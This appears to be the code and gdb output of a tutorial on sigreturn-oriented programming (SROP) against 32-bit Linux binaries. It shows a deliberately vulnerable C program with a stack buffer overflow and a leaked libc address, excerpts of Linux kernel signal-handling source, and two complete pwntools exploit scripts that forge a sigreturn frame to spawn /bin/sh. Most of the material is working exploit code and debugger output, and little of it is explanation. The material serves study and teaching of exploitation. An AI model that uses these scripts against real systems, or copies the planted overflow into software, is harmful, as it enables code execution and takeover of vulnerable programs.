//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
	printf("Signal number: %d\n", signum);
}

int main(){
	signal(SIGINT, (void *)handle_signal);
	while(1) {}
	return 0;
}

lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig32
Reading symbols from ./sig32...done.
gdb-peda$ b handle_signal 
Breakpoint 1 at 0x8048441: file sig.c, line 9.
gdb-peda$ handle SIGINT nostop pass
Signal        Stop	Print	Pass to program	Description
SIGINT        No	Yes	Yes		Interrupt
gdb-peda$ 

gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/sig32 
^C
Program received signal SIGINT, Interrupt.
Breakpoint 1, handle_signal (signum=0x2) at sig.c:9
9		printf("Signal number: %d\n", signum);
gdb-peda$ bt
#0  handle_signal (signum=0x2) at sig.c:9
#1  <signal handler called>
#2  main () at sig.c:15
#3  0xf7e1d637 in __libc_start_main () from /lib32/libc.so.6
#4  0x08048361 in _start ()
gdb-peda$ 

gdb-peda$ frame 0
#0  handle_signal (signum=0x2) at sig.c:9
9		printf("Signal number: %d\n", signum);

gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eax
$1 = 0x0
gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->esp
$2 = 0xffffd590
gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eip
$3 = 0x804847a
gdb-peda$ 

gdb-peda$ frame 1
#1  <signal handler called>
gdb-peda$ x/3i $eip
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ 

gdb-peda$ b 15
Breakpoint 2 at 0x804847a: file sig.c, line 15.
gdb-peda$ c
Continuing.
Signal number: 2

Breakpoint 2, main () at sig.c:15
15		while(1) {}
gdb-peda$ i r
eax            0x0	0x0
ecx            0x0	0x0
edx            0x0	0x0
ebx            0x0	0x0
esp            0xffffd590	0xffffd590
ebp            0xffffd598	0xffffd598
esi            0xf7fb5000	0xf7fb5000
edi            0xf7fb5000	0xf7fb5000
eip            0x804847a	0x804847a <main+35>
eflags         0x286	[ PF SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63
gdb-peda$

#ifdef CONFIG_X86_32
asmlinkage unsigned long sys_sigreturn(void){
	struct pt_regs *regs = current_pt_regs();
	struct sigframe __user *frame;
...
	if (restore_sigcontext(regs, &frame->sc, 0))
		goto badframe;
...
}
#endif /* CONFIG_X86_32 */

static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
	unsigned long buf_val;
	void __user *buf;
	unsigned int tmpflags;
	unsigned int err = 0;

	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;

	get_user_try {

#ifdef CONFIG_X86_32
		set_user_gs(regs, GET_SEG(gs));
		COPY_SEG(fs);
		COPY_SEG(es);
		COPY_SEG(ds);
#endif /* CONFIG_X86_32 */

		COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx);
		COPY(dx); COPY(cx); COPY(ip); COPY(ax);
...
}

#define sigframe_ia32		sigframe

...

#if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION)
struct sigframe_ia32 {
	u32 pretcode;
	int sig;
	struct sigcontext_32 sc;

	struct _fpstate_32 fpstate_unused;
#ifdef CONFIG_IA32_EMULATION
	unsigned int extramask[_COMPAT_NSIG_WORDS-1];
#else /* !CONFIG_IA32_EMULATION */
	unsigned long extramask[_NSIG_WORDS-1];
#endif /* CONFIG_IA32_EMULATION */
	char retcode[8];
	/* fp state follows here */
};

# ifdef __i386__
struct sigcontext {
	__u16				gs, __gsh;
	__u16				fs, __fsh;
	__u16				es, __esh;
	__u16				ds, __dsh;
	__u32				edi;
	__u32				esi;
	__u32				ebp;
	__u32				esp;
	__u32				ebx;
	__u32				edx;
	__u32				ecx;
	__u32				eax;
	__u32				trapno;
	__u32				err;
	__u32				eip;
	__u16				cs, __csh;
	__u32				eflags;
	__u32				esp_at_signal;
	__u16				ss, __ssh;
	struct _fpstate __user		*fpstate;
	__u32				oldmask;
	__u32				cr2;
};

//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
 
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop32
Reading symbols from ./srop32...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x080485ab <+0>:	push   ebp
   0x080485ac <+1>:	mov    ebp,esp
   0x080485ae <+3>:	sub    esp,0x48
   0x080485b1 <+6>:	sub    esp,0x8
   0x080485b4 <+9>:	push   0x80486c0
   0x080485b9 <+14>:	push   0xffffffff
   0x080485bb <+16>:	call   0x8048490 <dlsym@plt>
   0x080485c0 <+21>:	add    esp,0x10
   0x080485c3 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485c6 <+27>:	sub    esp,0x8
   0x080485c9 <+30>:	push   DWORD PTR [ebp-0xc]
   0x080485cc <+33>:	push   0x80486c7
   0x080485d1 <+38>:	call   0x8048440 <printf@plt>
   0x080485d6 <+43>:	add    esp,0x10
   0x080485d9 <+46>:	sub    esp,0x4
   0x080485dc <+49>:	push   0x100
   0x080485e1 <+54>:	lea    eax,[ebp-0x3e]
   0x080485e4 <+57>:	push   eax
   0x080485e5 <+58>:	push   0x0
   0x080485e7 <+60>:	call   0x8048430 <read@plt>
   0x080485ec <+65>:	add    esp,0x10
   0x080485ef <+68>:	nop
   0x080485f0 <+69>:	leave  
   0x080485f1 <+70>:	ret    
End of assembler dump.
gdb-peda$ b *0x080485ab
Breakpoint 1 at 0x80485ab
gdb-peda$ b *0x080485e7
Breakpoint 2 at 0x80485e7
gdb-peda$ 

gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop32 
Hello SROP
Breakpoint 1, 0x080485ab in vuln ()
gdb-peda$ i r esp
esp            0xffffd58c	0xffffd58c
gdb-peda$ x/wx 0xffffd58c
0xffffd58c:	0x0804862d
gdb-peda$ x/i 0x0804862d
   0x804862d <main+59>:	nop
gdb-peda$ c
Continuing.
Printf() address : 0xf7e49020

Breakpoint 2, 0x080485e7 in vuln ()
gdb-peda$ i r esp
esp            0xffffd530	0xffffd530
gdb-peda$ x/3wx 0xffffd530
0xffffd530:	0x00000000	0xffffd54a	0x00000100
gdb-peda$ p/d 0xffffd58c - 0xffffd54a
$1 = 66
gdb-peda$ 

sigreturn()
int 0x80

gdb-peda$ vmmap
Start      End        Perm	Name
...
0xf7e00000 0xf7fad000 r-xp	/lib32/libc-2.23.so
0xf7fad000 0xf7fae000 ---p	/lib32/libc-2.23.so
0xf7fae000 0xf7fb0000 r--p	/lib32/libc-2.23.so
0xf7fb0000 0xf7fb1000 rw-p	/lib32/libc-2.23.so
...
gdb-peda$ p/x 0xf7e49020 - 0xf7e00000
$2 = 0x49020
gdb-peda$ p __kernel_sigreturn
$3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000
$4 = 0x1d8de0

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5902b ("/bin/sh")
gdb-peda$ p/x 0xf7f5902b - 0xf7e00000
$5 = 0x15902b
gdb-peda$

gdb-peda$ x/3i 0xf7fd8de0
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ 

gdb-peda$ p __kernel_sigreturn
$6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ x/3i 0xf7fd8de0
   0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ vmmap
Start      End        Perm	Name
...
0xf7fd5000 0xf7fd8000 r--p	[vvar]
0xf7fd8000 0xf7fda000 r-xp	[vdso]
...
gdb-peda$ 

#ifdef CONFIG_X86_32

...

#define GDT_ENTRY_TLS_MIN		6
#define GDT_ENTRY_TLS_MAX 		(GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1)

#define GDT_ENTRY_KERNEL_CS		12
#define GDT_ENTRY_KERNEL_DS		13
#define GDT_ENTRY_DEFAULT_USER_CS	14
#define GDT_ENTRY_DEFAULT_USER_DS	15
#define GDT_ENTRY_TSS			16
#define GDT_ENTRY_LDT			17
#define GDT_ENTRY_PNPBIOS_CS32		18
#define GDT_ENTRY_PNPBIOS_CS16		19
#define GDT_ENTRY_PNPBIOS_DS		20
#define GDT_ENTRY_PNPBIOS_TS1		21
#define GDT_ENTRY_PNPBIOS_TS2		22
#define GDT_ENTRY_APMBIOS_BASE		23

#define GDT_ENTRY_ESPFIX_SS		26
#define GDT_ENTRY_PERCPU		27
#define GDT_ENTRY_STACK_CANARY		28

#define GDT_ENTRY_DOUBLEFAULT_TSS	31

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			32

/*
 * Segment selector values corresponding to the above entries:
 */

#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __ESPFIX_SS			(GDT_ENTRY_ESPFIX_SS*8)

#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

/* Abused to load per CPU data from limit */
#define GDT_ENTRY_PER_CPU		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER32_DS			__USER_DS
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __PER_CPU_SEG			(GDT_ENTRY_PER_CPU*8 + 3)

/* TLS indexes for 64-bit - hardcoded in arch_prctl(): */
#define FS_TLS				0
#define GS_TLS				1

#define GS_TLS_SEL			((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3)
#define FS_TLS_SEL			((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3)

#endif

from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscall = libcBase + 0x1d5de6
binsh = libcBase + 0x15902b
ksigreturn = libcBase + 0x1d5de0

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)

exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
 
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI
exploit += p32(0x0)         #ESI
exploit += p32(0x0)         #EBP
exploit += p32(syscall)     #ESP
exploit += p32(binsh)       #EBX
exploit += p32(0x0)         #EDX
exploit += p32(0x0)         #ECX
exploit += p32(0xb)         #EAX
exploit += p32(0x0)         #trapno
exploit += p32(0x0)         #err
 
exploit += p32(syscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23)        #CS
exploit += p32(0x0)         #eflags
exploit += p32(0x0)         #esp_atsignal
exploit += p32(0x2b)        #SS
#Runed a 32bit program in the 32bit operation system.
#exploit += p32(0x73)        #CS
#exploit += p32(0x0)         #eflags
#exploit += p32(0x0)         #esp_atsignal
#exploit += p32(0x7b)        #SS
 
p.send(exploit)
p.interactive()

from pwn import *
 
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
ksigreturn = libcBase + 0x1d5de0 
syscall = libcBase + 0x1d5de6 
binsh = libcBase + 0x15902b

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn) 	#ret
exploit += p32(0x0)

#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall 
frame.eip = syscall
 
exploit += str(frame)

p.send(exploit)
p.interactive()